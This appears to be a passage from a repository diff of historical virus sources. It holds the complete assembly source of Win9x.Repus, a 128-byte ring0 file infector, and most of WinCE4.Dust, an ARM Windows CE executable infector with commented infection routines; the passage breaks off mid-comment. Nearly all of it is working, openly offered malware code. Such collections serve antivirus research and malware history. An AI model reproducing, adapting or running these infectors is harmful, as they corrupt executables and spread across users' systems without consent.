rep movsb
|
||||
|
||||
dec byte ptr [counter-vBegin+ebp]
|
||||
|
||||
jmp exitHook
|
||||
|
||||
beep:
|
||||
dec cl
|
||||
in al,61h
|
||||
push ax
|
||||
or al,03h
|
||||
out 61h,al
|
||||
|
||||
mov al,0b6h
|
||||
out 43h,al
|
||||
mov ax,987
|
||||
mov si,ax
|
||||
beep_loop:
|
||||
add si,100h
|
||||
mov ax,si
|
||||
out 42h,al
|
||||
xchg al,ah
|
||||
out 42h,al
|
||||
loop beep_loop
|
||||
|
||||
pop ax
|
||||
out 61h,al
|
||||
jmp exitHook
|
||||
|
||||
vEnd label byte
|
||||
|
||||
fakeHost:
|
||||
push 0h
|
||||
call ExitProcess
|
||||
Ends
|
||||
End inicio
|
212
LegacyWindows/Win9x.Repus.asm
Normal file
212
LegacyWindows/Win9x.Repus.asm
Normal file
@ -0,0 +1,212 @@
|
||||
|
||||
;=============;
|
||||
; Repus virus ;
|
||||
;=============;
|
||||
|
||||
;Coded by Super/29A
|
||||
|
||||
;VirusSize = 128 bytes !!!
|
||||
|
||||
|
||||
;This is the third member of the Repus family
|
||||
|
||||
|
||||
;-When an infected file is executed the virus patches IRQ0 handler and waits
|
||||
; for it to return control to virus in ring0
|
||||
;-Once in ring0, the virus searches in all caches a valid MZheader to infect,
|
||||
; modifying EntryPoint (in PEheader) so virus can get control on execution
|
||||
;-It will infect no more than one MZheader at a time per file system
|
||||
;-MZheader will be overwritten, however windows executes it with no problems
|
||||
; (tested under win95,win98,winNT and Win2K)
|
||||
;-When executing a non infected file that imports APIs from an infected DLL,
|
||||
; virus will get control on DLL inicialization and infect more MZheaders
|
||||
|
||||
|
||||
;-------------------------------------------------------------------
|
||||
|
||||
.386p
|
||||
.model flat,STDCALL
|
||||
|
||||
extrn ExitProcess : near
|
||||
extrn MessageBoxA : near
|
||||
|
||||
;-------------------------------------------------------------------
|
||||
|
||||
VirusSize = (VirusEnd - VirusStart)
|
||||
|
||||
VCache_Enum macro
|
||||
int 20h
|
||||
dw 0009h
|
||||
dw 048Bh
|
||||
endm
|
||||
|
||||
;-------------------------------------------------------------------
|
||||
|
||||
.data
|
||||
|
||||
Title:
|
||||
db 'Super/29A presents...',0
|
||||
|
||||
Text:
|
||||
db 'Repus.'
|
||||
db '0' + (VirusSize/100) mod 10
|
||||
db '0' + (VirusSize/10) mod 10
|
||||
db '0' + (VirusSize/1) mod 10
|
||||
db 0
|
||||
|
||||
;-------------------------------------------------------------------
|
||||
|
||||
|
||||
.code
|
||||
|
||||
;===================================================================
|
||||
|
||||
VirusStart:
|
||||
|
||||
db 'M' ; dec ebp
|
||||
|
||||
VirusEntryPoint:
|
||||
|
||||
db 'Z' ; pop edx
|
||||
|
||||
push edx
|
||||
dec edx
|
||||
jns JumpHost ; exit if we are running winNT
|
||||
|
||||
mov ebx,0C0001100h ; IRQ0 ring0 handler
|
||||
|
||||
mov dl,0C3h
|
||||
|
||||
xchg dl,[ebx] ; hook IRQ0 to get ring0
|
||||
|
||||
Wait_IRQ0:
|
||||
|
||||
cmp esp,edx
|
||||
jb Wait_IRQ0
|
||||
|
||||
|
||||
;Now we are in ring0
|
||||
|
||||
|
||||
xchg dl,[ebx]
|
||||
|
||||
lea edx,[eax+(InfectCache-VirusEntryPoint)] ; EDX = infection routine
|
||||
|
||||
fld qword ptr [eax+(Next_FSD-VirusEntryPoint)] ; save VxD dinamic call
|
||||
|
||||
Next_FSD:
|
||||
|
||||
VCache_Enum ; enumerate all caches
|
||||
|
||||
inc ah
|
||||
jnz Next_FSD ; try next file system
|
||||
|
||||
call ebx ; return control to IRQ0 and return just after the CALL
|
||||
|
||||
|
||||
;Now we are in ring3
|
||||
|
||||
|
||||
JumpHost:
|
||||
|
||||
jmp HostEntryPoint ; return control to host
|
||||
|
||||
;-------------------------------------------------------------------
|
||||
|
||||
InfectCache:
|
||||
|
||||
xor dl,dl ; EDX = ImageBase
|
||||
|
||||
mov edi,[esi+10h] ; EDI = MZheader
|
||||
|
||||
movzx ecx,byte ptr [edi+3Ch]
|
||||
|
||||
cmp byte ptr [edi+ecx],'P' ; check for PEheader
|
||||
jnz _ret
|
||||
|
||||
Offset3B:
|
||||
|
||||
and eax,00000080h ; EAX = 0
|
||||
|
||||
xchg esi,edx ; ESI = ImageBase
|
||||
; EDX = Cache Block Structure
|
||||
|
||||
cmpsb ; check for MZheader
|
||||
jnz _ret
|
||||
|
||||
mov [esi-1+(Offset3B+1-VirusStart)],ecx ; save offset of PEheader
|
||||
|
||||
fst qword ptr [esi-1+(Next_FSD-VirusStart)] ; restore VxD dinamic call
|
||||
|
||||
inc eax ; EAX = 1
|
||||
|
||||
xchg eax,[edi-1+ecx+28h] ; set virus EntryPoint
|
||||
|
||||
sub eax,(JumpHost+5-VirusStart)
|
||||
|
||||
jb _ret ; jump if its already infected
|
||||
|
||||
mov cl,(VirusSize-1)
|
||||
|
||||
rep movsb ; copy virus to MZheader
|
||||
|
||||
mov [edi+(JumpHost+1-VirusEnd)],eax ; fix jump to host
|
||||
|
||||
|
||||
;Here we are gonna find the pointer to the pending cache writes
|
||||
|
||||
|
||||
mov ch,2
|
||||
lea eax,[ecx-0Ch] ; EAX=1F4h ;-D
|
||||
mov edi,[edx+0Ch] ; EDI = VRP (Volume Resource Pointer)
|
||||
repnz scasd
|
||||
jnz _ret ; not found :-(
|
||||
|
||||
; EDI = offset in VRP which contains PendingList pointer
|
||||
|
||||
cmp [edi],ecx ; check if there are other pending cache writes
|
||||
ja _ret
|
||||
|
||||
cmp [edi+30h],ah ; only infect logical drives C,D,...
|
||||
jbe _ret
|
||||
|
||||
|
||||
;Now we are gonna insert this cache in the pending cache writes
|
||||
|
||||
|
||||
or byte ptr [edx+32h],ah ; set dirty bit
|
||||
|
||||
mov [edx+1Ch],edx ; set PendingList->Next
|
||||
mov [edx+20h],edx ; set PendingList->Previous
|
||||
|
||||
mov [edi],edx ; set PendingList pointer
|
||||
|
||||
_ret:
|
||||
|
||||
ret
|
||||
|
||||
db '29A'
|
||||
|
||||
VirusEnd:
|
||||
|
||||
;===================================================================
|
||||
|
||||
db 1000h dup(90h)
|
||||
|
||||
HostEntryPoint proc near
|
||||
|
||||
push 0
|
||||
push offset Title
|
||||
push offset Text
|
||||
push 0
|
||||
call MessageBoxA
|
||||
|
||||
push 0
|
||||
call ExitProcess
|
||||
|
||||
HostEntryPoint endp
|
||||
|
||||
;===================================================================
|
||||
|
||||
ends
|
||||
end VirusEntryPoint
|
2690
LegacyWindows/Win9x.Sentinel.asm
Normal file
2690
LegacyWindows/Win9x.Sentinel.asm
Normal file
File diff suppressed because it is too large
Load Diff
2557
LegacyWindows/Win9x.Society.3434.asm
Normal file
2557
LegacyWindows/Win9x.Society.3434.asm
Normal file
File diff suppressed because it is too large
Load Diff
2404
LegacyWindows/Win9x.Wiedzmin.asm
Normal file
2404
LegacyWindows/Win9x.Wiedzmin.asm
Normal file
File diff suppressed because it is too large
Load Diff
685
LegacyWindows/WinCE.Dust.TXT
Normal file
685
LegacyWindows/WinCE.Dust.TXT
Normal file
@ -0,0 +1,685 @@
|
||||
|
||||
** virus_source **
|
||||
|
||||
CODE32
|
||||
|
||||
EXPORT WinMainCRTStartup
|
||||
|
||||
AREA .text, CODE, ARM
|
||||
|
||||
virus_start
|
||||
|
||||
; r11 - base pointer
|
||||
virus_code_start PROC
|
||||
stmdb sp!, {r0 - r12, lr, pc}
|
||||
mov r11, sp
|
||||
sub sp, sp, #56 ; make space on the stack
|
||||
|
||||
; our stack space gets filled the following way
|
||||
; #-56 - udiv
|
||||
; #-52 - malloc
|
||||
; #-48 - free
|
||||
; [r11, #-44] - CreateFileForMappingW
|
||||
; #-40 - CloseHandle
|
||||
; #-36 - CreateFileMappingW
|
||||
; #-32 - MapViewOfFile
|
||||
; #-28 - UnmapViewOfFile
|
||||
; #-24 - FindFirstFileW
|
||||
; #-20 - FindNextFileW
|
||||
; #-16 - FindClose
|
||||
; #-12 - MessageBoxW
|
||||
|
||||
; #- 8 - filehandle
|
||||
; #- 4 - mapping handle
|
||||
|
||||
bl get_export_section
|
||||
|
||||
; we'll import via ordinals, not function names, because it's
|
||||
; safe - even linker does that
|
||||
|
||||
adr r2, import_ordinals
|
||||
mov r3, sp
|
||||
bl lookup_imports
|
||||
|
||||
;
|
||||
bl ask_user
|
||||
beq jmp_to_host ; are we allowed to spread?
|
||||
;
|
||||
|
||||
mov r0, #0x23, 28
|
||||
mov lr, pc
|
||||
ldr pc, [r11, #-52] ; allocate WFD
|
||||
mov r4, r0
|
||||
|
||||
cmp r0, #0
|
||||
beq jmp_to_host
|
||||
|
||||
; in the following code I use functions FindFirstFile/FindNextFile
|
||||
; for finding *.exe files in the current directory. But in this
|
||||
; case I made a big mistake. I didn't realize that WinCE is not
|
||||
; aware of the current directory and thus we need to use absolute
|
||||
; pathnames. That's why this code won't find files in the current
|
||||
; directory, but rather always in root directory. I found this out when I
|
||||
; was performing final tests, but because the aim was to create a
|
||||
; proof-of-concept code and because the infection itself was already
|
||||
; limited by the user's permission, I decided not to correct this
|
||||
; bug
|
||||
|
||||
adr r0, mask
|
||||
mov r1, r4
|
||||
mov lr, pc
|
||||
ldr pc, [r11, #-24] ; find first file
|
||||
cmn r0, #1
|
||||
beq free_wfd
|
||||
|
||||
mov r5, r0
|
||||
find_files_iterate
|
||||
ldr r0, [r4, #28] ; filesize high
|
||||
ldr r1, [r4, #32] ; filesize low
|
||||
|
||||
cmp r0, #0 ; file too big?
|
||||
bne find_next_file
|
||||
|
||||
cmp r1, #0x1000 ; file smaller than 4096 bytes?
|
||||
addgt r0, r4, #40 ; gimme file name
|
||||
blgt infect_file
|
||||
|
||||
find_next_file
|
||||
mov r0, r5
|
||||
mov r1, r4
|
||||
mov lr, pc
|
||||
ldr pc, [r11, #-20] ; find next file
|
||||
cmp r0, #0 ; is there any left?
|
||||
bne find_files_iterate
|
||||
|
||||
mov r0, r5
|
||||
mov lr, pc
|
||||
ldr pc, [r11, #-16]
|
||||
|
||||
free_wfd
|
||||
mov r0, r4
|
||||
mov lr, pc
|
||||
ldr pc, [r11, #-48] ; free WFD
|
||||
;
|
||||
|
||||
jmp_to_host
|
||||
adr r0, host_ep
|
||||
ldr r1, [r0] ; get host_entry
|
||||
ldr r2, [r11, #56] ; get pc
|
||||
add r1, r1, r2 ; add displacement
|
||||
str r1, [r11, #56] ; store it back
|
||||
|
||||
mov sp, r11
|
||||
ldmia sp!, {r0 - r12, lr, pc}
|
||||
ENDP
|
||||
|
||||
; we're looking for *.exe files
|
||||
mask DCB "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0
|
||||
|
||||
; host entry point displacement
|
||||
; in first generation let compiler count it
|
||||
host_ep
|
||||
DCD host_entry - virus_code_start - 8
|
||||
|
||||
; WinCE is a UNICODE-only platform and thus we'll use the W ending
|
||||
; for api names (there are no ANSI versions of these)
|
||||
|
||||
import_ordinals
|
||||
DCW 2008 ; udiv
|
||||
DCW 1041 ; malloc
|
||||
DCW 1018 ; free
|
||||
DCW 1167 ; CreateFileForMappingW
|
||||
DCW 553 ; CloseHandle
|
||||
DCW 548 ; CreateFileMappingW
|
||||
DCW 549 ; MapViewOfFile
|
||||
DCW 550 ; UnmapViewOfFile
|
||||
DCW 167 ; FindFirstFileW
|
||||
DCW 181 ; FindNextFile
|
||||
DCW 180 ; FindClose
|
||||
DCW 858 ; MessageBoxW
|
||||
|
||||
DCD 0x0
|
||||
|
||||
; basic wide string compare
|
||||
wstrcmp PROC
|
||||
wstrcmp_iterate
|
||||
ldrh r2, [r0], #2
|
||||
ldrh r3, [r1], #2
|
||||
|
||||
cmp r2, #0
|
||||
cmpeq r3, #0
|
||||
moveq pc, lr
|
||||
|
||||
cmp r2, r3
|
||||
beq wstrcmp_iterate
|
||||
|
||||
mov pc, lr
|
||||
ENDP
|
||||
|
||||
; on theWin32 platform, almost all important functions were located in the
|
||||
; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair
|
||||
; was). The first infectors had a hardcoded imagebase of this dll and
|
||||
; later they imported needed functions by hand from it. This
|
||||
; turned out to be incompatible because different Windows versions might
|
||||
; have different imagebases for kernel32. That's why more or less
|
||||
; sophisticated methods were found that allowed coding in a
|
||||
; compatible way. One of these methods is scanning memory for known values
|
||||
; located in PE file header ("MZ") if the address inside the module is
|
||||
; given. Because the function inside kernel32 calls the EntryPoint of
|
||||
; every Win32 process, we've got this address. Then comparing the word
|
||||
; on and aligned address (and decrementing it) against known values is
|
||||
; enough to locate the imagebase. If this routine is even covered
|
||||
; with SEH (Structured Exception Handling) everything is safe.
|
||||
|
||||
; I wanted to use this method on WinCE too, but I hit the wall.
|
||||
; Probably to save memory space, there are no headers
|
||||
; before the first section of the loaded module. There is thus no
|
||||
; "MZ" value and scanning cannot be used even we have the address
|
||||
; inside coredll.dll (lr registr on our entrypoint). Moreover, we
|
||||
; cannot use SEH either, because SEH handlers get installed with
|
||||
; the help of a special directory (the exception directory) in the PE file and
|
||||
; some data before the function starts - this information would have
|
||||
; to be added while infecting the victim (the exception directory
|
||||
; would have to be altered) which is of course not impossible -- just
|
||||
; a little bit impractical to implement in our basic virus.
|
||||
|
||||
; That's why I was forced to use a different approach. I looked
|
||||
; through the Windows CE 3.0 source code (shared source,
|
||||
; downloadable from Microsoft) and tried to find out how the loader
|
||||
; performs its task. The Loader needs the pointer to the module's export
|
||||
; section and its imagebase to be able to import from it. The result was a
|
||||
; KDataStruct at a hardcoded address accessible from user mode (why Microsoft
|
||||
; chose to open this loophole, I don't know)
|
||||
; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a
|
||||
; list of Module structures. There we can find all needed values
|
||||
; (name of the module, imagebase and export section RVA). In the
|
||||
; code that follows I go through this one-way list and look for
|
||||
; structure describing the coredll.dll module. From this structure I
|
||||
; get the imagebase and export section RVA (Relative Virtual Address).
|
||||
|
||||
; what sounds relatively easy was in the end more work than I
|
||||
; expected. The problem was to get the offsets in the Module
|
||||
; structure. The source code and corresponding headers I had were for
|
||||
; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),
|
||||
; where the structure is different. I worked it out using the following
|
||||
; sequence:
|
||||
; I was able to get the imagebase offset using the trial-and-error
|
||||
; method - I used the debugger and tried values inside the
|
||||
; structure that looked like valid pointers. If there was something
|
||||
; interesting, I did some memory sniffing to realize where I was.
|
||||
; The export section pointer was more difficult. There is no real
|
||||
; pointer, just the RVA instead. Adding the imagebase to RVA gives us the
|
||||
; pointer. That's why I found coredll.dll in memory - namely the
|
||||
; list of function names in export section that the library exports.
|
||||
; This list is just a series of ASCIIZ names (you can see this list
|
||||
; when opening the dll in your favourite hex editor). At the
|
||||
; beginning of this list there must be a dll name (in this case
|
||||
; coredll.dll) to which a RVA in the export section header
|
||||
; points. Substracting the imagebase from the address where the dll
|
||||
; name starts gave me an RVA of the dll name. I did a simple byte
|
||||
; search for the byte sequence that together made this RVA value. This
|
||||
; showed me where the (Export Directory Table).Name Rva is.
|
||||
; Because this is a known offset within a known structure (which is
|
||||
; in the beginning of export section), I was able to get
|
||||
; the export section pointer this way. I again substracted the imagebase to
|
||||
; get the export section RVA. I looked up this value in the coredll's
|
||||
; Module structure, which finally gave me the export section RVA
|
||||
; offset.
|
||||
|
||||
; this works on Pocket PC 2003; it works on
|
||||
; my wince 4.20.0 (build 13252).
|
||||
; On different versions the structure offsets might be different :-/
|
||||
|
||||
; output:
|
||||
; r0 - coredll base addr
|
||||
; r1 - export section addr
|
||||
get_export_section PROC
|
||||
stmdb sp!, {r4 - r9, lr}
|
||||
|
||||
ldr r4, =0xffffc800 ; KDataStruct
|
||||
ldr r5, =0x324 ; aInfo[KINX_MODULES]
|
||||
|
||||
add r5, r4, r5
|
||||
ldr r5, [r5]
|
||||
|
||||
; r5 now points to first module
|
||||
|
||||
mov r6, r5
|
||||
mov r7, #0
|
||||
|
||||
iterate
|
||||
ldr r0, [r6, #8] ; get dll name
|
||||
adr r1, coredll
|
||||
bl wstrcmp ; compare with coredll.dll
|
||||
|
||||
ldreq r7, [r6, #0x7c] ; get dll base
|
||||
ldreq r8, [r6, #0x8c] ; get export section rva
|
||||
|
||||
add r9, r7, r8
|
||||
beq got_coredllbase ; is it what we're looking for?
|
||||
|
||||
ldr r6, [r6, #4]
|
||||
cmp r6, #0
|
||||
cmpne r6, r5
|
||||
bne iterate ; nope, go on
|
||||
|
||||
got_coredllbase
|
||||
mov r0, r7
|
||||
add r1, r8, r7 ; yep, we've got imagebase
|
||||
; and export section pointer
|
||||
|
||||
ldmia sp!, {r4 - r9, pc}
|
||||
ENDP
|
||||
|
||||
coredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
|
||||
DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0
|
||||
|
||||
; r0 - coredll base addr
|
||||
; r1 - export section addr
|
||||
; r2 - import ordinals array
|
||||
; r3 - where to store function adrs
|
||||
lookup_imports PROC
|
||||
stmdb sp!, {r4 - r6, lr}
|
||||
|
||||
ldr r4, [r1, #0x10] ; gimme ordinal base
|
||||
ldr r5, [r1, #0x1c] ; gimme Export Address Table
|
||||
add r5, r5, r0
|
||||
|
||||
lookup_imports_iterate
|
||||
ldrh r6, [r2], #2 ; gimme ordinal
|
||||
cmp r6, #0 ; last value?
|
||||
|
||||
subne r6, r6, r4 ; substract ordinal base
|
||||
ldrne r6, [r5, r6, LSL #2] ; gimme export RVA
|
||||
addne r6, r6, r0 ; add imagebase
|
||||
strne r6, [r3], #4 ; store function address
|
||||
bne lookup_imports_iterate
|
||||
|
||||
ldmia sp!, {r4 - r6, pc}
|
||||
ENDP
|
||||
|
||||
; r0 - filename
|
||||
; r1 - filesize
|
||||
infect_file PROC
|
||||
stmdb sp!, {r0, r1, r4, r5, lr}
|
||||
|
||||
mov r4, r1
|
||||
mov r8, r0
|
||||
|
||||
bl open_file ; first open the file for mapping
|
||||
cmn r0, #1
|
||||
beq infect_file_end
|
||||
str r0, [r11, #-8] ; store the handle
|
||||
|
||||
mov r0, r4 ; now create the mapping with
|
||||
; maximum size == filesize
|
||||
bl create_mapping
|
||||
cmp r0, #0
|
||||
beq infect_file_end_close_file
|
||||
str r0, [r11, #-4] ; store the handle
|
||||
|
||||
mov r0, r4
|
||||
bl map_file ; map the whole file
|
||||
cmp r0, #0
|
||||
beq infect_file_end_close_mapping
|
||||
mov r5, r0
|
||||
|
||||
bl check_header ; is it file that we can infect?
|
||||
bne infect_file_end_unmap_view
|
||||
|
||||
ldr r0, [r2, #0x4c] ; check the reserved field in
|
||||
; optional header against
|
||||
ldr r1, =0x72617461 ; rata
|
||||
cmp r0, r1 ; already infected?
|
||||
beq infect_file_end_unmap_view
|
||||
|
||||
ldr r1, [r2, #0x3c] ; gimme filealignment
|
||||
adr r0, virus_start
|
||||
adr r2, virus_end ; compute virus size
|
||||
sub r0, r2, r0
|
||||
mov r7, r0 ; r7 now holds virus_size
|
||||
add r0, r0, r4
|
||||
bl _align_ ; add it to filesize and
|
||||
mov r6, r0 ; align it to filealignment
|
||||
; r6 holds the new filesize
|
||||
|
||||
mov r0, r5
|
||||
mov lr, pc
|
||||
ldr pc, [r11, #-28] ; UnmapViewOfFile
|
||||
|
||||
ldr r0, [r11, #-4]
|
||||
mov lr, pc
|
||||
ldr pc, [r11, #-40] ; close mapping handle
|
||||
|
||||
;
|
||||
mov r0, r8
|
||||
bl open_file ; reopen the file because via
|
||||
; closing the mapping handle file
|
||||
; handle was closed too
|
||||
cmn r0, #1
|
||||
beq infect_file_end
|
||||
str r0, [r11, #-8]
|
||||
|
||||
mov r0, r6 ; create mapping again with the
|
||||
bl create_mapping ; new filesize (with virus appended)
|
||||
|
||||
cmp r0, #0
|
||||
beq infect_file_end_close_file
|
||||
str r0, [r11, #-4]
|
||||
|
||||
mov r0, r6
|
||||
bl map_file ; map it
|
||||
cmp r0, #0
|
||||
beq infect_file_end_close_mapping
|
||||
mov r5, r0
|
||||
;
|
||||
|
||||
; r5 - mapping base
|
||||
; r7 - virus_size
|
||||
|
||||
ldr r4, [r5, #0x3c] ; get PE signature offset
|
||||
add r4, r4, r5 ; add the base
|
||||
|
||||
ldrh r1, [r4, #6] ; get NumberOfSections
|
||||
sub r1, r1, #1 ; we want the last section header
|
||||
; so dec
|
||||
mov r2, #0x28 ; multiply with section header size
|
||||
mul r0, r1, r2
|
||||
|
||||
add r0, r0, r4 ; add optional header start to displacement
|
||||
add r0, r0, #0x78 ; add optional header size
|
||||
|
||||
ldr r1, [r4, #0x74] ; get number of data directories
|
||||
mov r1, r1, LSL #3 ; multiply with sizeof(data_directory)
|
||||
add r0, r0, r1 ; add it because section headers
|
||||
; start after the optional header
|
||||
; (including data directories)
|
||||
|
||||
ldr r6, [r4, #0x28] ; gimme entrypoint rva
|
||||
|
||||
ldr r1, [r0, #0x10] ; get last section's size of rawdata
|
||||
ldr r2, [r0, #0x14] ; and pointer to rawdata
|
||||
mov r3, r1
|
||||
add r1, r1, r2 ; compute pointer to the first
|
||||
; byte available for us in the
|
||||
; last section
|
||||
; (pointer to rawdata + sizeof rawdata)
|
||||
mov r9, r1 ; r9 now holds the pointer
|
||||
|
||||
ldr r8, [r0, #0xc] ; get RVA of section start
|
||||
add r3, r3, r8 ; add sizeof rawdata
|
||||
str r3, [r4, #0x28] ; set entrypoint
|
||||
|
||||
sub r6, r6, r3 ; now compute the displacement so that
|
||||
; we can later jump back to the host
|
||||
sub r6, r6, #8 ; sub 8 because pc points to
|
||||
; fetched instruction (viz LTORG)
|
||||
|
||||
mov r10, r0
|
||||
ldr r0, [r10, #0x10] ; get size of raw data again
|
||||
add r0, r0, r7 ; add virus size
|
||||
ldr r1, [r4, #0x3c]
|
||||
bl _align_ ; and align
|
||||
|
||||
str r0, [r10, #0x10] ; store new size of rawdata
|
||||
str r0, [r10, #0x8] ; store new virtual size
|
||||
|
||||
ldr r1, [r10, #0xc] ; get virtual address of last section
|
||||
add r0, r0, r1 ; add size so get whole image size
|
||||
str r0, [r4, #0x50] ; and store it
|
||||
|
||||
ldr r0, =0x60000020 ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE |
|
||||
; IMAGE_SCN_MEM_READ
|
||||
ldr r1, [r10, #0x24] ; get old section flags
|
||||
orr r0, r1, r0 ; or it with our needed ones
|
||||
str r0, [r10, #0x24] ; store new flags
|
||||
|
||||
ldr r0, =0x72617461
|
||||
str r0, [r4, #0x4c] ; store our infection mark
|
||||
|
||||
add r1, r9, r5 ; now we'll copy virus body
|
||||
mov r9, r1 ; to space prepared in last section
|
||||
adr r0, virus_start
|
||||
mov r2, r7
|
||||
bl simple_memcpy
|
||||
|
||||
adr r0, host_ep ; compute number of bytes between
|
||||
; virus start and host ep
|
||||
adr r1, virus_start
|
||||
sub r0, r0, r1 ; because we'll store new host_ep
|
||||
str r6, [r0, r9] ; in the copied virus body
|
||||
|
||||
infect_file_end_unmap_view
|
||||
mov r0, r5
|
||||
mov lr, pc ; unmap the view
|
||||
ldr pc, [r11, #-28]
|
||||
infect_file_end_close_mapping
|
||||
ldr r0, [r11, #-4]
|
||||
mov lr, pc ; close the mapping
|
||||
ldr pc, [r11, #-40]
|
||||
infect_file_end_close_file
|
||||
ldr r0, [r11, #-8]
|
||||
mov lr, pc ; close file handle
|
||||
ldr pc, [r11, #-40]
|
||||
infect_file_end
|
||||
ldmia sp!, {r0, r1, r4, r5, pc} ; and return
|
||||
ENDP
|
||||
|
||||
; a little reminiscence of my beloved book - Greg Egan's Permutation City
|
||||
DCB "This code arose from the dust of Permutation City"
|
||||
ALIGN 4
|
||||
|
||||
|
||||
; this function checks whether the file we want to infect is
|
||||
; suitable
|
||||
check_header PROC
|
||||
ldrh r0, [r5]
|
||||
ldr r1, =0x5a4d ; MZ?
|
||||
cmp r0, r1
|
||||
bne infect_file_end_close_mapping
|
||||
|
||||
ldr r2, [r5, #0x3c]
|
||||
add r2, r2, r5
|
||||
|
||||
ldrh r0, [r2]
|
||||
ldr r1, =0x4550 ; Signature == PE?
|
||||
cmp r0, r1
|
||||
bne check_header_end
|
||||
|
||||
ldrh r0, [r2, #4]
|
||||
ldr r1, =0x1c0 ; Machine == ARM?
|
||||
cmp r0, r1
|
||||
bne check_header_end
|
||||
|
||||
ldrh r0, [r2, #0x5C] ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ?
|
||||
cmp r0, #9
|
||||
bne check_header_end
|
||||
|
||||
ldrh r0, [r2, #0x40]
|
||||
cmp r0, #4 ; windows ce 4?
|
||||
|
||||
check_header_end
|
||||
mov pc, lr
|
||||
ENDP
|
||||
|
||||
; r0 - file
|
||||
open_file PROC
|
||||
str lr, [sp, #-4]!
|
||||
|
||||
sub sp, sp, #0xc
|
||||
mov r1, #3
|
||||
str r1, [sp] ; OPEN_EXISTING
|
||||
mov r3, #0
|
||||
mov r2, #0
|
||||
str r3, [sp, #8]
|
||||
str r3, [sp, #4]
|
||||
mov r1, #3, 2 ; GENERIC_READ | GENERIC_WRITE
|
||||
mov lr, pc
|
||||
ldr pc, [r11, #-44] ; call CreateFileForMappingW to
|
||||
; get the handle suitable for
|
||||
; CreateFileMapping API
|
||||
; (on Win32 calling CreateFile is enough)
|
||||
add sp, sp, #0xc
|
||||
|
||||
ldr pc, [sp], #4
|
||||
ENDP
|
||||
|
||||
; r0 - max size low
|
||||
create_mapping PROC
|
||||
str lr, [sp, #-4]!
|
||||
|
||||
mov r1, #0
|
||||
sub sp, sp, #8
|
||||
str r0, [sp]
|
||||
str r1, [sp, #4]
|
||||
mov r2, #4 ; PAGE_READWRITE
|
||||
mov r3, #0
|
||||
ldr r0, [r11, #-8]
|
||||
mov lr, pc
|
||||
ldr pc, [r11, #-36]
|
||||
add sp, sp, #8
|
||||
|
||||
ldr pc, [sp], #4
|
||||
ENDP
|
||||
|
||||
; r0 - bytes to map
|
||||
map_file PROC
|
||||
str lr, [sp, #-4]!
|
||||
|
||||
sub sp, sp, #4
|
||||
str r0, [sp]
|
||||
ldr r0, [r11, #-4]
|
||||
mov r1, #6 ; FILE_MAP_READ or FILE_MAP_WRITE
|
||||
mov r2, #0
|
||||
mov r3, #0
|
||||
mov lr, pc
|
||||
ldr pc, [r11, #-32]
|
||||
add sp, sp, #4
|
||||
|
||||
ldr pc, [sp], #4
|
||||
ENDP
|
||||
|
||||
|
||||
; not optimized (thus simple) mem copy
|
||||
; r0 - src
|
||||
; r1 - dst
|
||||
; r2 - how much
|
||||
simple_memcpy PROC
|
||||
ldr r3, [r0], #4
|
||||
str r3, [r1], #4
|
||||
subs r2, r2, #4
|
||||
bne simple_memcpy
|
||||
mov pc, lr
|
||||
ENDP
|
||||
|
||||
|
||||
; (r1 - (r1 % r0)) + r0
|
||||
; r0 - number to align
|
||||
; r1 - align to what
|
||||
_align_ PROC
|
||||
stmdb sp!, {r4, r5, lr}
|
||||
|
||||
mov r4, r0
|
||||
mov r5, r1
|
||||
|
||||
mov r0, r1
|
||||
mov r1, r4
|
||||
|
||||
; ARM ISA doesn't have the div instruction so we'll have to call
|
||||
; the coredll's div implementation
|
||||
|
||||
mov lr, pc
|
||||
ldr pc, [r11, #-56] ; udiv
|
||||
|
||||
sub r1, r5, r1
|
||||
add r0, r4, r1
|
||||
|
||||
ldmia sp!, {r4, r5, pc}
|
||||
ENDP
|
||||
|
||||
; this function will ask user (via a MessageBox) whether we're
|
||||
; allowed to spread or not
|
||||
ask_user PROC
|
||||
str lr, [sp, #-4]!
|
||||
|
||||
mov r0, #0
|
||||
adr r1, text
|
||||
adr r2, caption
|
||||
mov r3, #4
|
||||
|
||||
mov lr, pc
|
||||
ldr pc, [r11, #-12]
|
||||
|
||||
cmp r0, #7
|
||||
|
||||
ldr pc, [sp], #4
|
||||
ENDP
|
||||
|
||||
; notice that the strings are encoded in UNICODE
|
||||
|
||||
; WinCE4.Dust by Ratter/29A
|
||||
caption DCB "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0
|
||||
DCB ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0
|
||||
DCB "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0
|
||||
DCB "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0
|
||||
DCB "A", 0x0, 0x0, 0x0
|
||||
|
||||
ALIGN 4
|
||||
|
||||
; Dear User, am I allowed to spread?
|
||||
|
||||
text DCB "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0
|
||||
DCB "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0
|
||||
DCB "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0
|
||||
DCB "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0
|
||||
DCB "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0
|
||||
DCB "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0
|
||||
ALIGN 4
|
||||
|
||||
; Just a little greeting to AV firms :-)
|
||||
|
||||
DCB "This is proof of concept code. Also, i wanted to make avers happy."
|
||||
DCB "The situation when Pocket PC antiviruses detect only EICAR file had"
|
||||
DCB " to end ..."
|
||||
ALIGN 4
|
||||
|
||||
; LTORG is a very important pseudo instruction, which places the
|
||||
; literal pool "at" the place of its presence. Because the ARM
|
||||
